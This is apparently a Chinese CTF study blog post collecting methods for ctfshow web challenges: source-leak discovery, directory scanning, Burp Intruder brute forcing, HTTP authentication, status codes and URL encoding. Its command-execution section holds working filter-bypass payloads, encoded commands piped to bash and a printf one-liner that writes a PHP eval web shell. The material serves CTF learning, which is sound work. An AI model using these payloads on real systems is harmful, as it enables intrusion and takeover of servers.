---
title: ctfshow_web 常用方法
date: 2023-09-24 17:08:15
categories:
- CTF
- ctfshow
tags:
- web
---

# 1. 抓包

web 抓包:火狐浏览器 <img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20241230215103736.png" alt="image-20241230215103736" style="zoom:67%;" />

,同时 burp 中点 proxy ,在 Action 中发送到 Repeater ,看见 response 中的反馈信息

注意:有验证情况下,但 bp 抓包没抓到,说明是前端验证

# 2.robots 协议

robots 是搜索引擎爬虫协议,robots 是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots 很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。

robots 文件必须要存放在网站的根目录。可以利用 robots 文件获知网站框架,访问 robots 也就是 域名 /robots.txt 是可以访问文件的。你们也可以尝试访问别人网站的 robots 文件。 输入 url/robots.txt 即可访问。 注意 robots 是 robots.txt文件 image-20241231020732818

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20241231021155486.png" alt="image-20241231021155486" style="zoom:67%;" />

# 3.php 文件泄露

phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)直接通过 Web 浏览器查看 php 代码的内容。

因为用户无法直接通过 Web 浏览器 “看到” php 文件的内容,所以需要用 phps 文件代替。用户访问 phps 文件就能看到对应的 php 文件的源码。可以通过访问 index.phps 来进行,会自动下载 php 源代码文件

image-20241231022152208

# 4. 使用 dirsearch 进行目录扫描

D:\CTF\dirsearch-master (2)\dirsearch-master 目录下进行使用命令 dirsearch-master>dirsearch.py -u url 进行扫描

image-20241231024041687

  • 在 db 文件中是自带的字典文件夹,其中 dicc.txt 中可以进行手动添加列表(如 index.php.swp)
  • reports 为扫描日志文件夹

# 命令:

  • -u url :指定 url

  • -l urls.txt:从文件中读取多个 url

  • -t 10:指定扫描线程数(默认 20)

  • --delay 500:设置每次请求之间的延迟

  • --proxy 使用代理服务器

  • -r :递归扫描找到的目录

  • -R 3:设置递归扫描最大深度为 3

    例如:dirsearch.py -u http://example.com -e php,html,js -w /path/to/wordlist.txt -x 404,403 -t 20 --timeout=5 --proxy=http://127.0.0.1:8080 --output=result.txt

# 5. 源码压缩包泄露

# 访问压缩包,所以直接访问 /www.zip,即可下载源码压缩包,其中因为 网站的文件都放在www下面 ,所以直接访问 /www.zip 就可以得到网页的源码压缩包 (压缩包的后缀一般是常见的 zip、gz、tar.gz、rar)

# 6. 版本控制

常用的版本 控制工具gitsvn ,尝试访问 url/.giturl/.svn

SVN(subversion)源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,包含重要的源代码信息,开发管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,导致.svn隐藏文件夹被暴露于外网环境 (Linux 上用 ls 命令看不到,要用 ls -al 命令)

# 7. 生产环境 vim/vi

当运维人员在 Linux 生产环境下使用 vim/vi 修改文件时,

  • 发生意外时会产生一个后缀为 .swp 的隐藏文件,(后缀是在原本文件名后加上的)

  • 第二次意外退出的时候生成的备份文件后缀为: .swo

  • 第三次意外退出的时候生成的备份文件后缀为: .swn

以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn

# 8.cookie

火狐浏览器,F12,存储,查看 cookie

# 9.CyberChef 离线版

在本地文件夹 ctftools 中访问 CyberChef_v [].html("E:\ctftools\CyberChef_v10.19.4\CyberChef_v10.19.4.html"),打开即可

# 10. 域名解析

在 cmd 中使用 nslookup 命令:

  • 查询域名解析地址 基本格式:nslookup host [server]

  • 查询域名的指定解析类型的解析记录 基本格式:nslookup -type=type host [server]

    type 可以是:

    • A 地址记录 (默认)
    • AAAA 地址记录
    • AFSDB Andrew 文件系统数据库服务器记录
    • ATMA ATM 地址记录
    • CNAME 别名记录
    • HINFO 硬件配置记录,包括 CPU、操作系统信息
    • ISDN 域名对应的 ISDN 号码
    • MB 存放指定邮箱的服务器
    • MG 邮件组记录
    • MINFO 邮件组和邮箱的信息记录
    • MR 改名的邮箱记录
    • MX 邮件服务器记录
    • NS 名字服务器记录
    • PTR 反向记录
    • RP 负责人记录
    • RT 路由穿透记录
    • SRV TCP 服务器信息记录
    • TXT 域名对应的文本信息
    • X25 域名对应的 X.25 地址记录
  • 查询全部 基本格式:nslookup -query=any host [server]

(例如编辑 nslookup -query=any flag.ctfshow.com,使用 nslookup -query=any 域名 来查询所有解析历史)

-querytype-type 的效用一致,可以简写为 -q-ty ,其在不指定类型的情况下默认查询类型为 A

# 11 弱密码爆破

# 12. 技术文档带有敏感信息

设法找到网站的技术文档(可能在源代码中有暗示如 document.pdf ,访问即可)

# 13. 编辑器

网页编辑器 (editor) 中 插入文件 功能可能可以看到服务器所有目录文件,由此得到 flag 的路径

# 14. 尝试网页的各个功能

尽量将网页的各个功能都试一下,(登录及修改密码都看看),可能会找到相关的方法

# 15. 探针

探针,一般是用来检测服务器的运载负载情况的,以及检测服务器 WEB 环境软件版本兼容度的。比如我们有些时候 WEB 环境需要某个软件的某个版本支持,于是会用探针检测是否有安置和检测版本。

  • phpinfo:PHP 自带,可以查看当前大部分的软件版本,打开这个 info.php 页面,可以看到探针情况

  • 雅黑探针:访问 tz.php 即可查看自己的服务器信息

    • 比较齐全的可支持 PHP 探针工具,雅黑探针一般用于 PHP 缓解,可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息,1 秒钟刷新一次。以及包括服务器 IP 地址,Web 服务器环境监测,php 等信息。
  • UPUPW PHP 探针:访问 u.php 即可

    • 探针的优势是在检测 PHP 信息的同时,又可以防止你忘记删除探针或被搜索引擎缓存了探针快照的情况下避免配置路径和 phpinfo 信息的暴露。因为你随便去搜索引擎都能搜索到很多 php 探针,还全都暴露了网站路径、配置地址,有的甚至能访问到 phpinfo 页面,如果你也忘记删除探针或被搜索引擎保存了快照,那么这些信息可能给服务器带来安全威胁。
  • 自建探针工具:一些 PHP 探针是用户自定义的 PHP 脚本,网站有提供的 PHP 用户自建的探针脚本工具

# 16.phpinfo

输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP 环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和 PHP 授权信息(License)

每个系统安装得有所不同,phpinfo() 常用于在系统上检查配置设置预定义变量

phpinfo() 同时是个很有价值的、包含所有 EGPCS (Environment、GET、POST、Cookie、Server) 数据的调试工具

# 17. 查看 js 文件

再网页中(火狐浏览器)F12,点击网络,找到 js 类型,双击后会打开相应的 js 文件内容;或者在调试器中找到 js 文件,下面终端可以进行赋值等操作,点击代码行数下断点

js文件是JavaScript(通常缩写为js)语言的源代码文件。JavaScript是互联网上最流行的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JS文件是通过嵌入在.HTML中来实现自身的功能的

js是javascript文件的扩展名,例如xx.js,javascript是一种程序语言,主要用于网页的特效、功能的脚本编程,是一种很强大的脚本语言,在网站的前台处理几乎是无所不能。js是javascript是缩写,js是网页前台脚本,几乎所见的网页效果都是JS的功劳,如果没有JS网页将变得呆板。JScript 是一种解释型的、基于对象的脚本语言

# 18.unicode 编码

Unicode,全称为 Unicode 标准(The Unicode Standard),又译作万国码、统一字符码、统一字符编码 [2],是信息技术领域的业界标准,其整理、编码了世界上大部分的文字系统,使得电脑能以通用划一的字符集来处理和显示文字

解码:cyberchef 中利用 Unescape Unicode Characters 进行取消转义

特征:常会用 “U” 然后紧接着 4 个十六进制的数字来表示这一个字符。在零号平面以外的字符则需要使用五或六个数字。旧版的 Unicode 标准使用相近的标记方法,但却有些微小差异:在 Unicode 3.0 里使用 “U-” 然后紧接着八个数字,而 “U+” 则必须随后紧接着四个数字(如 \u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b)

# 19.BurpSuite 爆破

# 流程

# 1. 抓包发送到 intruder

  • 选择攻击模式(choose an attack type)
  • 选择要修改的参数位置( add$

# 2. 选择 payloads

  • 设置爆破字典
  • 对每个位置(position)选择字典
  • 根据抓包内容将用字典构造的内容转为相应的编码 ( 利用payload processing )
  • 看是否需要编码的后缀特征符号(如 base64 的 === 等),需要的话不要勾选 payload encoding , 不然会将 = 进行 ** url编码 **

# 3. 爆破

在爆破结果中找 status 为 200 等不同值,查看 response...

# 功能说明:

# Positions

# 1.choose an attack type (选择攻击模式)

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102153136590.png" alt="image-20250102153136590" style="zoom:80%;" />

  • **Sniper:** 狙击手模式,顾名思义,字典里取一行,打一发请求(只能有一个字典,一个参数保持初始值不变,另一个遍历字典,如:pwd 为初始值(123)不变,name 用字典遍历一遍,然后 name 为初始值(123)不变,pwd 用字典遍历一遍)
  • Battering ram:散弹枪模式,顾名思义,字典里取一行,打一发请求。相同的输入放到多个位置的情况,所有位置填充一样的值(只能用一个字典)。
  • Pitchfork:音叉模式,顾名思义,相当于大合唱中有默契地各干各的事情,每个位置都有一个字典,打一发请求,大家一起取下一行。请求的数量由字典行最少哪位决定。(可以选 n(为参数个数)个字典)
  • Cluster bomb:字典 1 和字典 2 的笛卡尔积。也就是将 name 替换为字典 1 中的参数 1,然后 pwd 遍历字典 2,然后将 name 替换为字典 1 中的参数 2,然后 pwd 遍历字典 2……
    • 集束炸弹,顾名思义,爆炸时迸射出许多小炸弹的集束炸弹,最复杂的一个模式,类似于数学中的笛卡尔积,每个位置都有一个字典,通常字典数量不超过 3 个,不然破解过程很漫长,可能要等到下次宇宙大爆炸。(也是 n 个字典)

# 2.payload positions

使用 $ 符号将要爆破修改的参数给围起来 (对于一个参数,可以用一对 $$ 然后设置多个 position 进行拼接放这一个位置):<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102153708353.png" alt="image-20250102153708353" style="zoom:67%;" />

# Payloads

指定‘字典’,及每一次取出字典时,是否要进一步编码字典等

image-20250102154156078

  • Simple list:一个字典列表
  • Customiterator:就是多字符串拼接

固定长度爆破:

image-20250102155840500

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102154335639.png" alt="image-20250102154335639" style="zoom: 50%;" />

对 payload 进行编码或解码:(根据抓包看要发送的信息是什么编码,将字典的内容转为对应编码再发送)

image-20250102160205430

生成的 Payload 进行编码、加密、截取等操作

注意:Payload Encoding 操作发生在 Payload Processing 操作之后,它作用于整个 URL。

# Resource pool

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102170639108.png" alt="image-20250102170639108" style="zoom:67%;" />

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102170721992.png" alt="image-20250102170721992" style="zoom:67%;" />

这里描述的是线程数,也就是并发线程,同时爆破的次数(在同一时间提交的请求个数),注意不要太快,容易被发现或者把服务器打崩溃,在下面的创建新资源池可以修改。

# Settings:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102161204676.png" alt="image-20250102161204676" style="zoom:80%;" />

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102161230304.png" alt="image-20250102161230304" style="zoom:80%;" />

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102161248371.png" alt="image-20250102161248371" style="zoom:80%;" />

# Authorization 请求头

HTTP Authorization 请求头部主要用于客户端向服务端传递用户认证凭据,如用户名和密码等,其格式通常是:

Authorization: <type> <credentials>

例如:<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102162329727.png" alt="image-20250102162329727" style="zoom:67%;" /><img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102162345130.png" alt="image-20250102162345130" style="zoom:50%;" />

HTTP Authorization 头是一个用于在客户端与服务器之间传送认证凭证的 HTTP 请求头。它允许用户代理(比如 web 浏览器)向服务器提供身份验证信息,以响应服务器的身份验证请求。这类请求一般出现在服务器需要验证请求者是否有权访问某个资源时。Authorization 头是 HTTP 协议中定义的标准字段之一,其值通常包含凭证信息,如用户名和密码,或者是一个令牌,如 OAuth 或 JWT(JSON Web Token)。

​ 在 Web 安全领域,HTTP Authorization 头扮演着至关重要的角色。通过利用这个头部,服务器能够确保只有授权的用户可以访问敏感数据或执行特定的操作。无论是普通的网页访问、网页应用程序、API 调用还是其他基于 HTTP 的交互,避免未授权访问是维护系统安全的关键组成部分。如果 Authorization 头中的凭证泄露或被不正确处理,可能会导致安全漏洞,如身份盗用或数据泄漏,从而威胁到整个 Web 应用程序的安全和用户的隐私。

# 使用 Authorization 头进行用户认证

要使用 Authorization 头进行用户认证,客户端首先需要知道服务器所需的认证类型,这通常通过服务器的 WWW-Authenticate 头在 401 响应中给出。然后,客户端将根据认证类型构造相应的凭据。(可以从抓包的 response 中看到)

# 1. 基本认证(Basic Authentication):

基本认证是最简单的 HTTP 认证机制。

它通过用户代理发送一个经过 Base64 编码的 用户名:密码 字符串来工作。

尽管实现简单,但基本认证通常不被认为是安全的,因为 Base64 编码非常容易解码,故一般配合 HTTPS 使用以确保安全性。

凭据将是用户名和密码的组合,经过 Base64 编码后的字符串。客户端将这个编码后的凭据放入 Authorization 头并发送回服务器进行认证。

# 2. 摘要认证(Digest Authentication)

摘要认证在安全性上比基本认证更高一步,因为它使用了 MD5 散列函数来传输密码。尽管比基本认证更为安全,但摘要认证也有一些安全漏洞,并且在现代 Web 应用中不如其他认证机制流行。

# 3.Token 认证,如 Bearer 令牌(Token Authentication)

  • 客户端发送一个密钥(token),它由服务器验证且通常是持有密钥用户识别令牌。

Token 认证是一种更为安全的认证方法,广泛用于当前的 Web 应用中,特别是在 RESTful API 认证中。一个常见的实施方式是使用 Bearer tokens。

# 4.OAuth

OAuth 是一个用于授权的开放标准,它允许用户让第三方应用访问自己存储在另一服务提供商上的信息,而无需将用户名和密码直接提供给第三方应用。OAuth 可以用来提供认证(OAuth 2.0)和授权,例如允许应用代表用户去访问 Google 或 Facebook 上的数据。

# API 密钥(API Keys)

API 密钥是由服务器预先生成的一组字符,客户端将其作为访问 API 资源的凭据。API 密钥通常作为请求的一部分发送,可以放在 URL、请求头或请求体中。虽然 API 密钥方便易用,但比较适用于对安全需求不是特别高的场景,且通常与其他手段(如限制 IP 地址)结合使用来增加安全性。

# http 请求方式(GET、POST)

**GET 传参:**url/? 参数名 = 参数值

**POST 传参:**post 传参使用火狐插件 HackBar,

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250102174550099.png" alt="image-20250102174550099" style="zoom:67%;" />

# python hashlib 库

要使用 hashlib 函数必须先导入:

import hashlib 

hashlib 模块主要用于进行哈希(hash)操作。哈希(Hash)是一种将任意长度的输入数据映射为固定长度输出数据的算法。哈希通常用于验证数据的完整性、安全存储密码等场景。

哈希函数的输出通常是一串看似随机的字母和数字。hashlib 模块提供了常见的哈希算法的实现,如 MD5、SHA-1、SHA-256 等

  • hashlib.md5() / hashlib.sha1() / hashlib.sha256() / ...: 直接使用特定的哈希算法

  • hexdigest(): 获取十六进制表示的哈希值

  • digest(): 获取二进制表示的哈希值。

实例

import hashlib
md5_hash = hashlib.md5('RUNOOB'.encode('utf-8'))#pyhton3 中必须先对字符串 str 进行 utf-8 编码
print("16:",md5_hash.hexdigest()) #转化为 16 进制
print(md5_hash) #仅仅是加密后
print(int(md5_hash.hexdigest(),16)) #转换为 10 进制
#输出结果为:
#16: 18fa661e2a4a7dd6471cc1407290cf6e
#<md5 _hashlib.HASH object @ 0x7efe92bfdfd0>
#33201617309184560926823112838432739182

# Cookie:

http 的 Cookie 请求:例如:(token 是 php 中定义的参数名)

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103002614168.png" alt="image-20250103002614168" style="zoom:80%;" /><img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103002709125.png" alt="image-20250103002709125" style="zoom:67%;" />

在 hackbar 中:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250103002813243.png" alt="image-20250103002813243" style="zoom:50%;" />

# PHP 随机数(详见 PHP 相关内容)

对于 PHP 生成随机数的种子 seed,(用同一个随机数序列进行推出种子,在获得该种子生成的其他随机数),可以用 php_mt_seed工具进行爆破获得种子值

  • 当随机数为字符串时需要转为 16 进制(本身是十进制就直接进入步骤二):pwn 虚拟机 web/php_mt_seed-4.0 文件夹内终端输入 php seed.php 随机数 即可
  • pwn 虚拟机 web/php_mt_seed-4.0 文件夹内终端输入 ./php_mt_seed 16进制值或10进制 即可获得种子
  • 再用该种子获得其他随机数

# 路径爆破:

有如 302 状态码是重定向,且找不到任何头绪,扫描目录全是递归命名,有时需要进行路径爆破

# HTTP 状态码:

  • 304:服务端已经执行了 GET,但文件未变化。
状态码 状态码英文名称 中文描述
100 Continue 继续。客户端应继续其请求
101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议,例如,切换到 HTTP 的新版本协议
200 OK 请求成功。一般用于 GET 与 POST 请求
201 Created 已创建。成功请求并创建了新的资源
202 Accepted 已接受。已经接受请求,但未处理完成
203 Non-Authoritative Information 非授权信息。请求成功。但返回的 meta 信息不在原始的服务器,而是一个副本
204 No Content 无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档
205 Reset Content 重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域
206 Partial Content 部分内容。服务器成功处理了部分 GET 请求
300 Multiple Choices 多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择
301 Moved Permanently 永久移动。请求的资源已被永久的移动到新 URI,返回信息会包括新的 URI,浏览器会自动定向到新 URI。今后任何新的请求都应使用新的 URI 代替
302 Found 临时移动。与 301 类似。但资源只是临时被移动。客户端应继续使用原有 URI
303 See Other 查看其它地址。与 301 类似。使用 GET 和 POST 请求查看
304 Not Modified 未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源
305 Use Proxy 使用代理。所请求的资源必须通过代理访问
306 Unused 已经被废弃的 HTTP 状态码
307 Temporary Redirect 临时重定向。与 302 类似。使用 GET 请求重定向
400 Bad Request 客户端请求的语法错误,服务器无法理解
401 Unauthorized 请求要求用户的身份认证
402 Payment Required 保留,将来使用
403 Forbidden 服务器理解请求客户端的请求,但是拒绝执行此请求
404 Not Found 服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置 "您所请求的资源无法找到" 的个性页面
405 Method Not Allowed 客户端请求中的方法被禁止
406 Not Acceptable 服务器无法根据客户端请求的内容特性完成请求
407 Proxy Authentication Required 请求要求代理的身份认证,与 401 类似,但请求者应当使用代理进行授权
408 Request Time-out 服务器等待客户端发送的请求时间过长,超时
409 Conflict 服务器完成客户端的 PUT 请求时可能返回此代码,服务器处理请求时发生了冲突
410 Gone 客户端请求的资源已经不存在。410 不同于 404,如果资源以前有现在被永久删除了可使用 410 代码,网站设计人员可通过 301 代码指定资源的新位置
411 Length Required 服务器无法处理客户端发送的不带 Content-Length 的请求信息
412 Precondition Failed 客户端请求信息的先决条件错误
413 Request Entity Too Large 由于请求的实体过大,服务器无法处理,因此拒绝请求。为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则会包含一个 Retry-After 的响应信息
414 Request-URI Too Large 请求的 URI 过长(URI 通常为网址),服务器无法处理
415 Unsupported Media Type 服务器无法处理请求附带的媒体格式
416 Requested range not satisfiable 客户端请求的范围无效
417 Expectation Failed(预期失败) 服务器无法满足请求头中 Expect 字段指定的预期行为。
418 I'm a teapot 状态码 418 实际上是一个愚人节玩笑。它在 RFC 2324 中定义,该 RFC 是一个关于超文本咖啡壶控制协议(HTCPCP)的笑话文件。在这个笑话中,418 状态码是作为一个玩笑加入到 HTTP 协议中的。
500 Internal Server Error 服务器内部错误,无法完成请求
501 Not Implemented 服务器不支持请求的功能,无法完成请求
502 Bad Gateway 作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应
503 Service Unavailable 由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的 Retry-After 头信息中
504 Gateway Time-out 充当网关或代理的服务器,未及时从远端服务器获取请求
505 HTTP Version not supported 服务器不支持请求的 HTTP 协议的版本,无法完成处理

# 命令执行与代码执行(见下载 RCE 博客,相对全面)

  • PHP 代码执行(eval () 函数等):看 php 相关内容

    1.eval($string):
    把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
    这里强调了合法代码和分号结尾。
    我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string 
    当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
    #这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
    ----------------------------------------------------------------------------------------
    2.assert($assertion):
    如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
    #在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中
    ----------------------------------------------------------------------------------------
    3.call_user_func($func,$string):
    该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
    4.include():   
     采用伪协议绕过    
        
    #常见的命令执行函数:
    #在PHP中,允许我们执行系统程序命令。一般有以下函数:
    1.system():
    执行一个外部程序命令,并且输出执行结果,返回最后一行。
    #这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
    #可以理解为它函数内部存在一个 print($result);return last->result;这样子。
    #如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
    -------------------------------------------------------------------------------------------------------------------
    2.exec():
    执行一个外部程序。并返回执行结果最后一行的内容。(由于不打印输出内容所以最好用passthru())
    #这里只返回执行结果的最后一行内容。不会有输出打印。
    -------------------------------------------------------------------------------------------------------------------
    3.passthru():
    执行外部程序并且显示原始输出
    -------------------------------------------------------------------------------------------------------------------
    4.shell_exec():该函数等价于 ` `
    通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
    #该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
    -------------------------------------------------------------------------------------------------------------------
    linux中用于打开文件的函数:
    find -- 列出当前目录下的文件以及子目录所有文件【替代ls】
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容,搭配-c参数读内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看 #源代码中

# 特殊字符 bypass

空格bypass:
1.%09
2.重定向 <>
3.${IFS}
4./**/ 注释符

单词bypass:
1.cat -->ca\t #\反斜杠(又称转义字符)是在正则等语法里面,如果后面跟的字符是正常字符,不需要转义。也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过
2.flag -->fl\ag  fl''ag f* 或者fla*
    
3.$1、$2和$@
第一个参数是1,第二个参数是2。而参数不存在时其值为空。所以没有赋值的话就相当于没有
例如:ca$@t fla$@g或者ca$1ca@t fla$2g或者ca$1t fl$1ag.t$1xt

字母bypass:
1.FLAG -->F[9-M][9-M]G
    
base64:
在"Y2F0IGZsYWcudHh0Cg==" | base64 -d下(base64解码)需要通过echo把解码内容输出,即cat flag.txt,但要注意:这里只是把cat flag.txt文字echo出来,并没有执行

1.使用反引号包含base64解码后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`【好像只能在shell用】

2. 将base64解码后的命令通过管道符传递给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

3. base64出文件
一般情况下php文件,cat无法打开,所以用basebase64 1.php相当于cat 1.php|base64,输出的是base64后的  
编码绕过:
base64:
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag

#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag#xxd - r -p可以转换16进制,同样用户管道符之后。
    
#oct字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

# 重定义 $GET bypass

前提:存在代码执行函数
eavl($GET[1]);
1=$_GET[2]&2=phpinfo();

# URL 编码:

URL 不能包含空格。**URL 编码通常使用加号(+)或 %20 替代空格。**url 编码就是在 ascii编码前加上%

字符 来自 Windows-1252 来自 UTF-8
space %20 %20
! %21 %21
" %22 %22
# %23 %23
$ %24 %24
% %25 %25
& %26 %26
' %27 %27
( %28 %28
) %29 %29
* %2A %2A
+ %2B %2B
, %2C %2C
- %2D %2D
. %2E %2E
/ %2F %2F
0 %30 %30
1 %31 %31
2 %32 %32
3 %33 %33
4 %34 %34
5 %35 %35
6 %36 %36
7 %37 %37
8 %38 %38
9 %39 %39
: %3A %3A
; %3B %3B
< %3C %3C
= %3D %3D
> %3E %3E
? %3F %3F
@ %40 %40
A %41 %41
B %42 %42
C %43 %43
D %44 %44
E %45 %45
F %46 %46
G %47 %47
H %48 %48
I %49 %49
J %4A %4A
K %4B %4B
L %4C %4C
M %4D %4D
N %4E %4E
O %4F %4F
P %50 %50
Q %51 %51
R %52 %52
S %53 %53
T %54 %54
U %55 %55
V %56 %56
W %57 %57
X %58 %58
Y %59 %59
Z %5A %5A
[ %5B %5B
\ %5C %5C
] %5D %5D
^ %5E %5E
_ %5F %5F
` | %60 | %60 |
a %61 %61
b %62 %62
c %63 %63
d %64 %64
e %65 %65
f %66 %66
g %67 %67
h %68 %68
i %69 %69
j %6A %6A
k %6B %6B
l %6C %6C
m %6D %6D
n %6E %6E
o %6F %6F
p %70 %70
q %71 %71
r %72 %72
s %73 %73
t %74 %74
u %75 %75
v %76 %76
w %77 %77
x %78 %78
y %79 %79
z %7A %7A
{ %7B %7B
| %7C %7C
} %7D %7D
~ %7E %7E
%7F %7F
` | %80 | %E2%82%AC |
 %81 %81
%82 %E2%80%9A
ƒ %83 %C6%92
%84 %E2%80%9E
%85 %E2%80%A6
%86 %E2%80%A0
%87 %E2%80%A1
ˆ %88 %CB%86
%89 %E2%80%B0
Š %8A %C5%A0
%8B %E2%80%B9
Œ %8C %C5%92
 %8D %C5%8D
Ž %8E %C5%BD
 %8F %8F
 %90 %C2%90
%91 %E2%80%98
%92 %E2%80%99
%93 %E2%80%9C
%94 %E2%80%9D
%95 %E2%80%A2
%96 %E2%80%93
%97 %E2%80%94
˜ %98 %CB%9C
%99 %E2%84
š %9A %C5%A1
%9B %E2%80
œ %9C %C5%93
 %9D %9D
ž %9E %C5%BE
Ÿ %9F %C5%B8
%A0 %C2%A0
¡ %A1 %C2%A1
¢ %A2 %C2%A2
£ %A3 %C2%A3
¤ %A4 %C2%A4
¥ %A5 %C2%A5
¦ %A6 %C2%A6
§ %A7 %C2%A7
¨ %A8 %C2%A8
© %A9 %C2%A9
ª %AA %C2%AA
« %AB %C2%AB
¬ %AC %C2%AC
­ %AD %C2%AD
® %AE %C2%AE
¯ %AF %C2%AF
° %B0 %C2%B0
± %B1 %C2%B1
² %B2 %C2%B2
³ %B3 %C2%B3
´ %B4 %C2%B4
µ %B5 %C2%B5
%B6 %C2%B6
· %B7 %C2%B7
¸ %B8 %C2%B8
¹ %B9 %C2%B9
º %BA %C2%BA
» %BB %C2%BB
¼ %BC %C2%BC
½ %BD %C2%BD
¾ %BE %C2%BE
¿ %BF %C2%BF
À %C0 %C3%80
Á %C1 %C3%81
 %C2 %C3%82
à %C3 %C3%83
Ä %C4 %C3%84
Å %C5 %C3%85
Æ %C6 %C3%86
Ç %C7 %C3%87
È %C8 %C3%88
É %C9 %C3%89
Ê %CA %C3%8A
Ë %CB %C3%8B
Ì %CC %C3%8C
Í %CD %C3%8D
Î %CE %C3%8E
Ï %CF %C3%8F
Ð %D0 %C3%90
Ñ %D1 %C3%91
Ò %D2 %C3%92
Ó %D3 %C3%93
Ô %D4 %C3%94
Õ %D5 %C3%95
Ö %D6 %C3%96
× %D7 %C3%97
Ø %D8 %C3%98
Ù %D9 %C3%99
Ú %DA %C3%9A
Û %DB %C3%9B
Ü %DC %C3%9C
Ý %DD %C3%9D
Þ %DE %C3%9E
ß %DF %C3%9F
à %E0 %C3%A0
á %E1 %C3%A1
â %E2 %C3%A2
ã %E3 %C3%A3
ä %E4 %C3%A4
å %E5 %C3%A5
æ %E6 %C3%A6
ç %E7 %C3%A7
è %E8 %C3%A8
é %E9 %C3%A9
ê %EA %C3%AA
ë %EB %C3%AB
ì %EC %C3%AC
í %ED %C3%AD
î %EE %C3%AE
ï %EF %C3%AF
ð %F0 %C3%B0
ñ %F1 %C3%B1
ò %F2 %C3%B2
ó %F3 %C3%B3
ô %F4 %C3%B4
õ %F5 %C3%B5
ö %F6 %C3%B6
÷ %F7 %C3%B7
ø %F8 %C3%B8
ù %F9 %C3%B9
ú %FA %C3%BA
û %FB %C3%BB
ü %FC %C3%BC
ý %FD %C3%BD
þ %FE %C3%BE
